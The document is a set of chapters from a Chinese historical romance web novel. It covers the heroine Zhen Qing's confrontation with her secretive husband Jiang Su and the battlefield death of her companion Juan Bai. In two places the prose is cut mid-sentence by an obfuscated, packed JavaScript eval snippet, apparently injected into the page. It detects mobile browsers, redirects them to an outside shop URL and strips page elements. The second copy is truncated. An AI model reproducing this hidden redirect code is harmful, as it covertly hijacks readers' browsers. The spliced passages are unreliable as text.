枕清留意到陈琅的动作,她眼睫毛轻轻扑闪,像是一只脆弱的蝴蝶,可身旁的陈琅恰似比她脆弱万分,枕清没有理会,而是自己扶住床边的柱子,缓缓走了下来。 她站在窗边,看着无边无际的夜色,想起了江诉。 为什么不告诉她呢,是觉得她会阻止他的动作,还是怕她会担忧,又或者,他所谓的决定中,没有她的存在。 那么为什么还要说他们成亲后,就是彼此最亲近的人。 当真是可笑。 枕清嘴角露出一抹嘲讽的笑意,她脑袋静静地倚靠在窗棂一侧,看着清丽的明月,突然一滴泪水从眼尾滑落。 陈琅目光沉沉地落在枕清脸上,他深深吸了一口气,想递上手帕的动作又被迫顿住。 可真是去他的。 什么克己复礼不逾矩,就算是别人的妻子又如何? “别哭了。”陈琅把手帕强硬地递进枕清的手中,“他这般瞒着你,你不要他就好了,世上好男儿千千万,何必要在一棵树上吊死。” 这样的讲话语气一点都不像是为人开解的模样,枕清攥着手帕,直接甩在陈琅的胸膛上,吸了吸鼻子道:“我就是这么执拗的人,非要在一棵树上吊死,倘若那个人真的做了什么不可原谅的事情,我一定会把树砍废了再吊。” 听到这样蛮横的回答,陈琅噗嗤乐了出来,他眼角都含着笑意,跟着枕清一同看向远处的月光,朗声道:“像你。” 枕清的情绪来得快,去得也快。 刚才她也没察觉到自己是在流泪,直到陈琅递给她手帕,她才发觉自己已经麻木到如此地步。 他们两人一同吹着风,吹到枕清觉得自己真的快要染上风寒后才关上窗户,他们静默地坐在屋内,待天光一亮,枕清早就把东西整理妥当,已经准备好离开的打算。 天稍稍亮,应钰推开房门,看到这样的枕清倒是没有多问什么,只是让枕清不必担忧,很多事情她会逐一去安排好,到时候可以借着商铺给她回信。 他们陪着枕清一同走到郊外,枕清坐上马匹,点了点头。陈琅则是懒洋洋地靠在树干上,顺便打了一个哈切说:“慢走啊,有时间回来看看,要是你不回我的信,我就去陇右了。” “好。”枕清坐在马匹上,手中握紧缰绳,抬手转了转马匹的身子,朝另一方向驶去。 陇右的消息被符生枝严格把控,传出来的风声几乎微乎其微。她离开陇右已有半月多,几乎都是耽搁在路上,不过好在是一人来往,倒也方便。 连着几天,枕清都是在路上,身上染上了不少风沙,也发觉越往西的地界,便是越干燥。 她停在一处驿站后,把马匹的绳索递给伙计,找了一个干净的位置坐下。 枕清的模样装扮并不显眼,甚至还有些像是乞儿,有些人倒是没去理会,睨看她的眼神还带着自然而然地嫌弃。 他们这群人都是富家公子,出门在外哪一个不是前呼后拥的,而且为首的还是长安里的郡王,李酌赋。 李酌赋自然也看到了枕清,只是瞧那么一脸的风霜,就已经懒散地收回眼,同旁人道:“江诉那件事是怎么回事啊,阿耶这么着急把我喊回去,怕是想要我去送命。” 其中一人摇摇头道:“贵主何必这般说,或许真的只是因为有事情,况且那群人有所动作,我们势必要先明哲保身。” 这几人一言一语,唯独有一个人没有开口说任何一句话,枕清瞥向那个最安静的人,那个最安静的人也在打量着她。 枕清看清他的面容后,没有露出任何惊诧的表情,两方对视后,枕清则是慢慢地陇回视线,仿若是最平常不过的陌生人,可那个人依旧揪着枕清不放。 而这视线被李酌赋看在眼里,李酌赋的目光在这两人身上来回扫视,突然笑了,问:“怎么,这是你的熟人?” 顾可玖摇头道:“不认识。” 这话枕清听在耳中,她意外挑眉,随后来了一位伙计给她泡了一壶茶后,她稍稍点头致谢。 顾可玖,就是第一次和师坤尧、仇羌第一次见面的那天,为她驾马车的车夫。那时候她还以为师坤尧好了,会对这个人斩草除根,没想到居然混在了李酌赋的身边。 不知道是该说他有本事,还是说那师坤尧的忘性够大。 从进门开始,这位顾可玖或许便已经认出了她。 不过枕清并没有什么好担忧的,她喝完一盏茶水后,拿出自己的令牌,伙计会意,带着枕清上了一间上等房间。不少人都看在眼里,方才压根没发现这小子居然这般地深藏不露。 顾可玖则是摸了摸杯口,面露思索。李酌赋瞄定顾可玖道:“你是不是认出来那人是谁了?为何不告诉我?怎么,不能说么?” 顾可玖知道自己的目光一定会引起李酌赋的怀疑,所以这一切的行径都是他故意装出来的,就是为了让枕清的身份被人发现。 他好不容易在师坤尧手底下死里逃生,既然活着,那么枕清和师坤尧的仇,他会一个个报。 今日先遇到了枕清,那么就从她先开始吧。 顾可玖把头压得极低,声音带着颤,似是难以启齿,又有下定决心的坚定,他咬牙道:“我也不知道是不是自己认错了,我觉得那个人有些像是禹王府的县主。” 枕清已经知道顾可玖是发现了自己的身份,但是她对 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只要不遇到那些不讲理的匪蛮子,他们这种从长安出来的人好对付多了,倘若要是真的太过分,她也还有后招,也说不上害怕。 她把自己洗得清清爽爽后,当即在床上躺下了。不过没出一会,她先开了房门,在长廊上来回走动巡视,把自己房门前挂的牌子与人调换了下,最后钻进了一间没有人的空屋,舒舒服服地躺下了。 驿站建立在郊外,供给来往赶路的旅客,当然不凡有那些达官显贵,自然会流出一些上等的空房,起码他们这一排就是如此。 夜深逐渐黑了下来,躺了好几个时辰的枕清听到细细簌簌的动静,打着困意安安静静地听着。 能察觉到外边有不少人偷偷摸摸地算计着。 “你确定是这间屋子?” “是啊,中午的时候我们亲眼看到她走进这间屋子,而且试探着对里面问话,的确是有人回答。” 听到回答的那人面色不愉,他冷着脸说:“你听听,这么大的呼噜声,是她就有鬼了!” 另一人面色煞白,怯怯道:“或许人不可貌相,而且我家婆娘也打呼噜。” 正巧说完,头上就挨了一巴掌。不过这些人也不知道究竟是哪一间,只好大着胆子推门而入,偷偷摸摸站在那人的床前,掀开被子看到一个五大三粗的男人,各个面色难看,发出不小的惊呼声。 原本震耳如雷的鼾声戛然而止,床上的男人比他们脸色更为煞白,活像是觉得自己见到了黑白双煞,当即摩拳擦掌地挥了那人好几拳。他们都是长安里的富贵郎君,大多手无缚鸡之力,挨了打后,乱窜逃跑,而男人被惊扰了睡意,正是怒意极大的时候,当即穷追不舍。 长廊回荡着此起彼伏的惨叫声,凄烈无比。 枕清也没想到那些人这么没脑子,不过听这些声音,大概是没有李酌赋与顾可玖,她盖上自己的被子冷笑一声,又闷头睡了过去。 原本想要一觉睡到天亮,好像有一道冰凉的东西抵在她脖颈处,正感受到那力道要往她身上戳的时候,枕清并没有动。 她不知道这个人是谁,但是她也在赌。 赌那个人,抑或是那几个人的出现。 在下一瞬,匕首与她的脖颈只差分毫之时,突然一道极快的影子拦住了顾可玖的动作。 在顾可玖要发出声音时,那道黑影堵住了他的嘴,桎梏了他的动作,再把他捆在一旁的柱子上,一系列动作一气呵成。 那黑衣人原本想要把人杀了再扔后,突然发现自己的一处衣角被人抓住了,阻止他接下来的动作。 黑衣人猛然抬头,只见枕清笑吟吟地对他说:“抓住你了。” 86. 同道河东逢伊面(五) 天色微亮,远山薄雾一片。 枕清推开房门,看到了正在抬手敲门的李酌赋,他们两人都在彼此眼中看到了意外的神色。 枕清整个身子挡在门前,遮住屋内大半模样,她略微歪了歪脑袋,声音不冷不淡:“这位小郎君这么早停留在我屋前,所为何事?” 李酌赋这才完完全全地看清眼前的这个人,面容比昨日更为白皙透亮,漂亮的眼睛好似会说话,神态充满警惕与狡黠,即使这一身衣衫褴褛,也难掩国色天香。 他好像在脑海中浮现出一抹身影,又随之被眼前要关上门的枕清打断,李酌赋着急堵住门,不让枕清关上,他着急道:“我是不是见过你。” “好老套的说辞,小郎君想要认识我,倒也不必如此说吧。”枕清知道李酌赋怀疑,却又不能完完全全地肯定。 眼见着人不着他这一道,李酌赋也不敢松懈下来,不然他与这人再难正面相对,李酌赋费劲地抵着门,十分没有风度道:“昨日与我一起的小兄弟不见了,我怀疑在你这里,你让我瞧上一眼这屋内,我就告辞!” “你是大理寺判官么?你说给你瞧上一眼就给你瞧?”枕清冷笑一声,抵住门的手更为用力。 李酌赋迟迟不肯离开,两方僵持之下,枕清当即松开了手,原本的力道顿时全无,没有支撑点的李酌赋身形不稳,踉跄地向前扑去,整个人差点倒地。 他眼疾手快地用手支撑在可以触及到的红檀木上,才堪堪稳住身子。 他差点要被摔到毁容,当即朝后怒目而视,枕清站在门前,抱臂看着发怒的李酌赋,忽然勾唇一笑道:“你当真不认识我么?我是在长安街上被你阻拦的小女娘啊,小郡王。” 说完这句话,枕清关上房门,屋内只剩下一道道淅淅沥沥的光,李酌赋面色大变,不知道枕清究竟要做什么,他怒道:“你到底想要做什么?枕清!” 枕清并没有回答他,而是把门锁一落,把钥匙扔到屋顶上,娇俏一笑道:“小郡王说错了,我怎么会是已经逝去的小县主呢,我就是一个游山玩水的普通小女娘罢了。既然郡王怀疑小兄弟在我屋内,那可得好好查看一番,别有遗漏才好。” 李酌赋这下明白了,是枕清故意的,怕他阻碍住她的脚步,于是把他困在屋内。 他这是正中枕清下怀呢。 “枕清,如果你今日离开了,那么日后我定会纠缠你至死,你现在是要乖乖跟着我,还是逃跑,你可得深思好。”李酌赋漫不经心地坐在位置上,既然知道人活着,那么找不找得到,都算是好办的。 “好大的口气。”枕清语调讥讽,压根没有把李酌赋放在眼里,她视线朝不远处一扫,当即下了楼,在掌柜的带领下牵起自己的一匹马。 忽然有人慌慌张张跑进掌柜处,小声道:“后山发现了一具尸体,好像是郡王身边的人,这可怎么办呢。” 枕清扯了扯嘴角,翻身上马后,扯了扯马匹上的缰绳继续向西走,任凭旁人怎么惊慌失措,都与她无关。 昨晚解决顾可玖的时候,她在顾可玖身上找到一件非常重要的东西,难怪师坤尧居然要追杀顾可玖,原来是师坤尧偷了谢家的兵符。 怪不得在那日碰到了谢长昀要查她的马车。就是等着兵符呢,这下可是给她捡了漏。 一下子不知道究竟是把这件东西给谢长昀还是告诉师坤尧。 枕清骑着马匹,策马飞奔,疾驰在山川林间,牵引过大漠长月,飒爽的英姿也穿过一望无际的草原,一切都是那么的美丽,可惜枕清没有心思看这些美景,每过一个地方,都会被内心的焦灼取代。 终于到兰州时,枕清打算先是在客栈停留了两日。 兰州城内并没有所想的那般慌张,一切都是井然有序,枕清摘下帷帽,站在掌柜的面前问道:“我听说这兰州刺史似乎被仇家寻上门来,可有此事?” 那位小掌柜瞟了一眼眼前的枕清,原本想要不屑地哼唧一声,没想到枕清长得这般明眸善睐,忽地移不开眼,闷哼了两声,随即和善地开嗓道: “小娘子初到兰州吧,这兰州刺史确实是被仇家寻上门来,来了还不止一两个人。不过你也不必担忧,祸不及我们这些平民百姓,所以这兰州还是太平得很。” 枕清露出一个恍然大悟的表情,笑着又问:“那么这兰州刺史的仇家可是何方神圣?而这兰州刺史现在又身在何处呢?” “兰州刺史早就成了刀下亡魂了,不过那些人对外人说是意外落河而死。至于这仇家吗,江长史江诉,可是个铁血手腕的人物,现如今,估计还在兰州刺史的府衙内。”掌柜警惕地看着周围,虽然留意到不少人都竖起耳朵来听,但是掌柜还是继续开了口,“据说都督夫人今日也来了。” 外边突然有一大批人走了过来,并没有推搡着人群,而是井然有序地穿过大街小巷,枕清看清了围在最中央的人,是薄映禾。 她赞赏地瞧了一眼掌柜的,在掌柜探过来看向她的目光后,枕清神情逐渐变得崇拜艳羡,收好房间的牌号,笑说:“还真是,掌柜的消息十分灵通,可比那些驿站好使得多。” 掌柜谦虚摆摆手道:“小娘子谬赞。” 枕清把房间揣在自己的袖中,拿起自己的帷帽,踏上了房门,她坐在桌案前,抬手在桌案上点了三下,之前在顾可玖行刺解救下他的黑影突然出现在房间内,单膝跪地,恰似极其屈辱。 管他什么表情,枕清都当看不见。 她抬手指了指不远处的客栈房间号牌,别有深意道:“叫你主上过来,今夜,我要见到他。” 黑影憋屈,没有说话,而是拿着东西,消失不见。 同时。 薄映禾携着满身怒意走近兰州刺史府中,江诉和符生枝看到了薄映禾,不禁面色微变,还没待符生枝开始为自己辩解,薄映禾当即上前甩了符生枝一个响亮的巴掌,符生枝被打得微微侧过脑袋,面颊上浮出明显的红色巴掌印。 薄映禾目光凌厉地扫向江诉,抬手想要打江诉的时候,似乎想到了什么,愤愤地放下手,冷道:“你的这个巴掌就让沿溪来。” 符生枝脸上还是火辣辣地疼,看到江诉躲过一劫,心里居然还有点开心,起码没让薄映禾的手碰到江诉的脸,他抬手轻轻碰了碰自己火辣泛疼的面颊,为自己开脱道:“这不是没出什么事情么?” “呵,这么大的事情你们居然敢支开我和沿溪,当真是有本事。”薄映禾目光冷冷凝视符生枝,“亏得没出什么事,不然我和沿溪可得一人拿一个大麻袋替你们装尸。” 这事哪里有这么严重,符生枝知道薄映禾在气头上,给江诉一个赶紧离开的视线后,当即走前去哄薄映禾。 江诉离得越来越远,听到符生枝的声音越来越软,甚至不要脸地开口说自己脸疼的时候,江诉弯了弯唇,看来是真的没什么事。 不过,他还不知道怎么面对枕清。他倒是希望枕清能像薄映禾一样,干脆利落地给他一个巴掌,但是他是希望这个见面能更长一些,因为他还不知道怎么面对枕清。 枕清前脚刚走,他后脚就开始安排了自己的动作,换作任何一个人都不会高兴的。 好在这是的枕清应当还在河东,一时半会不会到陇右这边。 直到他看到了一抹极快的黑影,单膝跪在地上,活像是落水狗,也像是最失败的人。 一个被发现的暗卫,不是最合格的暗卫。 江诉很无奈地笑了一下,她还是发现了,这发现的还不止一件事情,好像把自己放在炭火上灼热炙烤着,就关顾着烫了。 他宽慰暗卫没事,被枕清发现是一件很正常的事情,随后拿过暗卫递过来的客栈牌号,先是去为自己沐浴才走去枕清所住的客栈。 枕清并没有一直等着江诉,而是坐在桌案前把每一个地方的疑惑和地图上的位置一一标明,即使看到人来却也没有任何惊讶与意外。 江诉今天穿着一身月牙袍,看起来无比温润,待关上房门,好似成了屋内最明亮的夜色。枕清低垂目光,在宣纸上落下的浓厚的水墨,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722444|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌后,枕清像是才发觉江诉等了这么久。 眼见着枕清在装,江诉也没有任何不满或者是责怪的意思,他抿了抿唇瓣,忽地绽放微笑道:“你怎么突然回到了兰州。” “我怎么突然回到了兰州。”枕清若无其事地重复,悠悠道,“这不得问江长史吗?” 江诉望着枕清,眼神中恰似装着自己都不知道的祈怜,可怜又无助,孤独又凄凉。 这样的神情落在枕清的眼中,枕清却没有放过他的意思,就如同拨开一层又一层的面纱,叫江诉避无可避。 “梅海说他曾安排过暗卫给我,但是到了长安就不见了。”枕清从喉咙中发出一声哼笑,把手中的毛笔搁置在一旁,“那些人,是不是你杀的,也难怪,我一个人去河东,你也能放心。 “我还想到了长安郊外的疫病那次,我看过好几次的黑影,起初我以为是阿之奎的人,其实那道黑影,从始至终都是你的留在我身边的暗卫。所以你知道我的每一步动作,也知道到我和王闻礼见了面,我引诱他动手,与其说我的所作所为你并未参与,倒不如说我所有的动作都在你的眼皮底下,你对我的动作心如明镜。” 事情都被枕清血淋淋的揭开,江诉心中有着前所未有的慌张,他知道枕清受不了这样,可他还是这么做了。 不过他还是想为自己辩解一句,仿佛是在垂死挣扎,他道:“你身边的暗卫是我的人,不过他们只是保护你。除非有关你性命的事情,其他时候我并不会见他们。至于你说你私下见过王闻礼,还是我清楚你每一步的动作,我并非全然得知,不然在王闻礼那一天,你的一箭三雕,我就不会那么难受。你想知道我什么,我都告诉你。” 枕清恍惚,既然她已经和江诉是一条船上的人,自然不怕江诉知道她的心思和计谋,可是...... “可是江诉,你身上的秘密,似乎比我相像中的还要多,也隐瞒地比我还要多。” 江诉忽地觉得自己心头一跳,他望着枕清缓缓站起身,一步步走到自己面前,看着她抬起手,可没有想象中的凌厉刮落在耳边。 甚至连清脆的响声都没有。 因为枕清压根没有想打他的意思。 枕清抬手抚摸江诉清隽的面容,感受到江诉身上的颤意,原来害怕的人不只有她枕清。 她把人带上床榻上,细细描摹那张温和慈悲的面容,缓缓道:“江诉,你是不是也在痛苦,也在害怕,你明明可以用最恶劣的手段,明明可以和阿之奎合作,却偏偏转向了符生枝,是因为怕我因你而受到伤害吗? “这一路上我想了很多,如果你与阿之奎合作,那么我杀了你,再陪你一起死,如果你没有和阿之奎合作,打算单枪匹马,那么我做你最锋利的那把剑刃。 “我想,你做了我这么久的刀,这一次换我来,也不是不可以。” 江诉看着枕清说得如此郑重其事,忽然觉得一棵特别酸涩的李子树在这个春天,开出了最甜的果实。旁人都说枕清是个自私自利的女娘,可是没有人知道,枕清在他心中是最讲道理、也是最好最好的女娘。 他爱枕清,今夜比往日要更爱一点。 幸好,这个仇,他自己报了。 他不需要让枕清陪着自己以身犯险,更不需要枕清做他手中的利剑,他只希望枕清能够事事如意,平安幸福。 “江诉,你在这个世界不孤独,有我,有我爱你。”枕清眼眶含着泪,她眼睫颤抖,泪珠忽然掉在江诉的面庞上,旋即倾身吻上江诉的唇瓣。 他们像是最了解彼此的疯子,江诉在口腔中感受到血腥味,突然笑了一下,轻吻枕清的耳垂。 她以为她是被救者,可她永远都不知道,他才是那个被她所救的溺水者。 夜色迷离。 枕清满脸潮红,闷哼一声:“江诉我疼。” “哪里疼?” 良久没听到回答,江诉闷笑道:“你不说,我怎么知道你哪里疼?” 明月如水,水波荡漾,望看红湿处。 87. 同道河东逢伊面(六) 第二日,枕清起晚了,见到符生枝的时候,并没有什么好神态,而江诉则是春风满面,符生枝目光流转在这两人身上,突然觉得有些没看明白,这究竟是什么意思? 怎么江诉没被打,反倒是被滋润的样子。 符生枝懒散开口道:“你也别怪来听,他这是为了银州城的百姓报仇呢,之前朝廷赈灾的粮食在半路被这兰州刺史给换了。当初他还不是兰州刺史,是吏部的小官。他以为这件事谁都不记得了,可没想到江诉清楚明白,甚至来找他寻命来了。” 说完,他还打量着枕清的神情,发现枕清没有一点愤怒和诧异,这么大的事情不生气,不跟江诉闹上一场,倒是有些不符合枕清的性格,还以为是那种即使有苦衷,也要事事她为先,追着不放的性格。 不死心的符生枝又拖长音道:“你可千万别生来听的气。” “没有生气,就算生气,也气你啊。”枕清对符生枝没好脾气,“这么大的事情,你这个做姐夫的居然不拦着,瞒着我也就算了,竟然还敢瞒着姊姊,太不懂事了。江诉年纪可比你小多了,许多事情哪里有你这位大都督懂得多。你不拦着也就罢了,居然还跟着一起胡闹?” 这一下把出主意的罪魁祸首江诉撇得一干二净,符生枝不是第一次见到枕清倒打一耙的本事,可是每每听到的时候,依旧会震惊。 他看着身旁的薄映禾,被迫承认道:“好好好,都是我的错,你的江诉一点错都没有,我是罪魁祸首,我罪该万死,把你的江诉带来这边。” 破罐子破摔的符生枝突然出现几许无为狂怒的模样,叫人忍俊不禁,就连枕清也扑哧地笑了出来。 枕清走上前拍了拍符生枝的肩膀道:“姐夫,你别生气,我这也不是故意要怪你,谢谢你帮了江诉,了却他的心愿,也了却我的心愿。这么好的你,和我姊姊天生一对!” 这个马屁拍得人舒服,就连昨天挨的巴掌都不疼了。 符生枝得意地挥手道:“都是一家人何必说两家话。” 枕清也跟着笑,她瞧了一眼在一旁也跟着笑的江诉,简直是乐开怀了眼,就差没有说出今天的我很高兴。 符生枝也注意到江诉和枕清的变化,突然觉得有些不公平,明明是亲姐妹,而他和江诉分明干了同一件事情,态度可是天差地别。 被喂饱的江诉和被打了一巴掌的他。 心中越是不平衡的符生枝目光幽深地盯着薄映禾,薄映禾与符生枝相处多年,哪里不明白这样的眼神,当即警惕大作,随后装作看不见地要走。 不料符生枝抱住了薄映禾的腰肢,把人扛在自己的肩膀上拐回房间。 枕清张了张唇瓣,随后自然而然地合上,想到昨天自己与江诉的情形,不禁耳廓一热,看向别处道:“你知道阿之奎要和吐蕃合作么?” 江诉知道枕清这是害羞了,也陪着她扯开话题道:“我知道,他改变了策略,想从陇右这边先下手。上一世,他先是开了河东那一条道。” “你觉得他想做什么呢?” “我不知道。” 枕清这才想到庭州没有符生枝也没有薄映禾,就连他和江诉都在兰州,那么庭州岂不是群龙无首? 倘若是阿之奎再次要攻打庭州,那么庭州岂不是岌岌可危。 枕清道:“你们和姊姊都来了,庭州怎么办?” “你师傅坐镇,还有齐离弦在那里,倒也不必那么惊慌。”江诉并非不是没有留有后手,不过阿之奎这次行径的变数太大。 河东有盐池,而且兵力不像是陇右这般强盛,他转向陇右,除了可以联合吐蕃的兵力一同攻打,便没有任何益处。 阿之奎不可能不知道,要么是调虎离山,要么就是为了某一件事,或者某一个人。 枕清不知道该怎么说,阿之奎和江诉是同一个地方的人,既然江诉已经报了仇,阿之奎一定是知道,如此一来,阿之奎的恨意是否能消散,不攻打大启? 又何必像上一世那样,攻下大启各州,直取长安。 可阿之奎的仇恨又太深了,银州死了那么多人,而大启只死了一个兰州刺史,这叫他心中又如何能平衡呢。 枕清茫然道:“江诉,我觉得,我们或许和他会有一战,到时候不是我们死,就是他死。” “没事。”江诉宽慰道。 他早知道这样的结果,从上一世,他与阿之奎分开之后,就已经注定了。 这场究竟是天灾还是人祸,谁都没有办法解释。 他们几人在兰州的第二日,便听到阿之奎攻打庭州的风声,估计是因为他们都不在,阿之奎觉得有可乘之机,先攻下一个算一个。 商震在庭州坐镇,还有渭州刺史北肆野,阿之奎难道不知道么? 枕清总是觉得有些古怪。 所有人都重生后,事情便变得一发不可收拾。 不出几日,再次听到阿之奎的消息,是他转向了河东,并没攻打陇右。 可不知道为何,突厥和吐蕃居然开始对陇右两面夹击。 天下局势一下子瞬息万变,仿若毫无预兆,却又有瞬息万变之势。 枕清坐在兰州城内听着各州局势,心中满腹狐疑徐徐展开,她攥紧应钰给她的绢布,稳住心神,她朝江诉道:“云流将军去了河东,我们回庭州吧。” 春风一过,满身的桃花树散落在肩头上,江诉微微一笑,他也觉得留在兰州的时间够久了。 去往河东的阿之奎这是要跟上一世一样,先朝河东动手。 河东有应钰和陈琅,以及许久未见的郁华隐…… 太后殿下倒是有先见之明叫云大将军前去,可是阿之奎虽说走了上一世的老路,可未必真的会跟上一世一模一样,枕清也只能让人快马加鞭去送了信件,多加以防范。 作战需要讲究一个实际,陇右兵力强盛,如果吐蕃和突厥要与陇右敌对,那么毗连战区的邻国,应当以卑恭言词和厚重财物结交它,争取其成为自己盟国。 倘若作战中进攻敌人的正面,盟国牵制敌人的后面,这样,就一定能把敌人打败。 [1]诚如兵法所说:“在多国交界的‘衢地’作战,应当结交盟国作为后援。” 可是吐蕃和突厥又是在什么时候结盟的?这一切导致这件事的罪魁祸首是不是阿之奎? 枕清启程回庭州的路上,听到了很多的声音,有说百姓仓皇出逃,也有拼死抵抗,就连老弱妇孺都上了战场,这些声音的出现,不禁让枕清眉头一皱,又听到许多女娘也上了战场,枕清立即心惊肉跳。 “难道城中没有阵营没有驻守的军队吗?”枕清镇定道。 那些人嗤笑一声道:“群龙无首,谁守得住啊。我们这块地方,没有人管的,离庭州远,离突厥近,偏僻又荒芜,没有人要。” 枕清恍若大梦,他们这还不算到庭州的地界,四处都是大漠孤烟,炊烟袅袅,易攻难守,换做任何一个人都不会选择此地为守作战。 “不过来了一批人,为首的是一位小女郎,本是可好了,据说杀了不少突厥人,”那人心向往之道,“叫什么齐离弦,小娘子倒也不必害怕,安心休息吧。” 这个地方,是一个好的突破口。 枕清没想到在路上还能听到齐离弦的消息,她一直在旁边安静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那些人也清楚当下的陇右是一个什么样的状态,自然没有那么好糊弄,为首的人眼神凶狠凌厉,跟卷柏交锋道:“看来陇右果真是没人,让你这么一个小东西过来,你说人来了,这人可是在那里啊?” 说罢,还要高傲地扬起脖子朝四周看去。 虽说卷柏不是第一次骗人,可是在这群五大三粗的人面前,心不免狂跳,像是直顶胸口,她镇定自若地轻狂道:“你仔细听不就知道了。” 说完,卷柏漫不经心地打了一个手势,顺势还挑了挑眉。 大漠极其安静,只有偶尔来过些许风声,为首的突厥人被日头照得满头大汗,半晌后忽然有些不耐烦,觉得自己还真听这小女娘诓骗。在下一瞬,真的有不少马匹声踏沙而来,所有人的神色一凛,聚精会神地望向声音的来源处。 逐渐看清来人,突厥便自乱阵脚,为首的人当即下令跑,率先朝着卷柏方向驾马过去。 虽然杀不了那些人,但是杀一个卷柏还是绰绰有余。 卷柏自然也发现那群人朝着自己过来,成为一个半包围的状态,其他人又离她极远,已经到了远水难救近火的围困状态,只好夹着马肚朝他们同一个方向驶去,而身后的那群人穷追不舍。 齐离弦见状,心急如焚,当即驾着马匹追了过去,一手执着弓箭,另一只手取下一支锋利的箭矢,将弓弦拉满,毫不犹豫地朝着对卷柏穷追不舍的那人射去。为首那人似有所感,看到齐离弦的样子,随后听着一道厉风扑面而来,带着杀意地刺穿他的肩胛骨。 他露出诡异又残忍的笑容,当即忍着疼痛,跃空而起,飞身坐上了卷柏的马匹。 卷柏感知身后的人,不免睁大眼睛惊呼,她知道现在无论如何都已经逃脱不了,前路是突厥境地,后面是突厥人,而且落在这些人手中必死无疑。 可是要死,也要拉着一个垫背的一起下地狱! 几乎在下一瞬,她就已经决定好动作,齐离弦知晓卷柏的动作,突然觉得胸腔剧烈颤抖,五脏六腑都被颠得生生作疼,喉咙发不出一丝声音。 88. 同道河东逢伊面(七) “卷柏!”枕清大声一呼,看着卷柏突然伸手,紧紧抓住那人,一同跌落马下。 卷柏耳边有无数摩擦的声音穿过,她好像还听到了枕清的声音,可是卷柏没有管,而是死死抱住这个人。她的身子猛然下坠,碰到地面的那一瞬间,还没感受到撞击的强烈痛感,便有无数马匹从自己身上踏过,她第一次感觉自己像是被踩进了地里。 疼,全身都疼。 枕清呼吸一窒,脸色大恸,手中的缰绳当即一松,心仿若跟着卷柏一同坠地,整个天地都急剧地在瞳仁里疯狂地倒置了起来。 卷柏倒在血泊之中,沙丘上有一条长长的血迹,迎着夕阳,显得无比壮烈,而她手里紧紧攥着突厥人的衣服。 枕清眨了眨眼,眼眶当即泛起了泪水,她趔殂地跑到卷柏的身边,慌慌张张地捧起满身是血的卷柏,满是痛苦:“卷柏,小卷柏。” 卷柏模模糊糊地看着枕清的样子,嘴角咧出一点笑意:“姐姐,原来不是梦,你真的来了。真好,死前还能见到你。” 原本想要抬起手擦拭枕清的眼泪,可是她好像全身的骨头都被马踩断了,她抬不起来了,原来她真的要死了,可是死也不是那么可怕。 “姐姐别哭,小卷柏的手抬不起来,不能帮姐姐擦眼泪了。”卷柏小声道。 枕清知道卷柏这样已经是必死无疑,她即使是神仙也无力回天,她脸色发白,脊背微微弯曲,眼中的泪水却比她先开了口。 卷柏气息逐渐变得微弱,她望着枕清身后又红又紫的晚霞,黯然道:“真可惜啊,世界那么大,我仅仅在木头盒子盼来生了。” 枕清忍着悲痛,一点点擦干卷柏脸上的血,她哑声道:“小卷柏,下辈子,不要再遇到我了。” 卷柏摇不动头,就连唇瓣也没了力气,她的眼珠转动,落在枕清的脸上,仍旧小声又执拗道:“不要......我还是想遇到你。” 说完这句话,卷柏微微一笑,似乎再也没有了任何力气,沉沉地闭上双眼,安静到就像是睡着了一样。 枕清突然觉得身体有无数根针尖刺向她,她眼中布满猩红的血丝,手在不由自觉地颤抖,明明上一次的见面还是好好的。 卷柏总是说自己又懒又笨,只想要天上掉馅饼,不劳而获,她可没有那么多当第一,当英雄的情节,她还想要游历万里河山。 可是居然有一天,她也会为了很多人,独自一人挡下一整个突厥部队。 枕清小心翼翼地抱着卷柏,卷柏的身体依旧是那么地轻,像是一抹轻盈的飘带,随风摇曳。 戈壁沙漠,狂风大作,飞砂走石。 胡杨依然迎风而立,一副岿然不动的神态,任凭劲风怒吼、黄沙蔽空。 响晴的大雁在晴空排开成人字形状,洒下一声声凄厉的鸣叫后,挥翅高飞,逐渐变成一个黑点,远离他们的视线。 齐离弦射出的那抹箭羽,高高翘起,在春日的风里微微颤着个翎头。 齐离弦也没想到会发生这种事,她视线询问江诉地下那个人该怎么办,江诉认出那个人是突厥部落的小王子,他冷着脸,道:“把他的头割下来,送到突厥可汗手中。” 晚风过境,枕清的手都僵硬了,江诉最后无可奈何地把枕清拉了起来,江诉把人揽入怀中,枕清紧紧贴在江诉身上,感受到清冽的香味,让她脑子无比清醒。 江诉抬手一点点抚摸枕清的脊背,像是如同对待孩子一般,枕清开嗓道:“江诉。” 江诉温声道:“我在。” “江诉。” “我一直都在。” 枕清不再重复,而是把整张脸都埋在江诉的怀中,好像在茫茫无际的空白中,找到了唯一的倚靠。 良久后,枕清抬头望了望大漠上方的月亮,很明亮,也很清冷,可那月亮逐渐被鲜血染红,仿若成了血月。 春天的晚风真的很冷,而沙漠中更是如此。 齐离弦远远看着两人,突然觉得自己好像是做了一件错事,这件事在白日的时候江诉已经问清楚了来龙去脉,她也说了自己刺向突厥人的那支箭让他勃然大怒,所以更加对卷柏穷追不舍。 那样的情势,即使没有齐离弦的那支箭,卷柏也不会因此被放过。 反倒是因为卷柏来得及时,才救下他们的命。 江诉还没有失去判断的理智,宽慰了齐离弦,便去枕清那处。枕清没有一蹶不振,她在庭州还有一桩事情,料理好卷柏的身后事,启程去了庭州。 原以为一切都能风平浪静,却没想到枕清居然会没日没夜的便把自己关在书房中,即使叫她出去玩,她也是一副游神的模样,久而久之,除了江诉,便也没有任何人靠近打扰。 一切都变得极其清净,而枕清也因为这件事,一下子瘦了好几圈,别说是江诉受不了,就连薄映禾看到了也极为心疼。 当初在兰州,他们四人兵分两路走,就是为了避免发生何种危险,结果还是没有避开。 枕清看到江诉和薄映禾以及符生枝三人站在一起,是一个春和景明的日子,打算去郊外游玩。 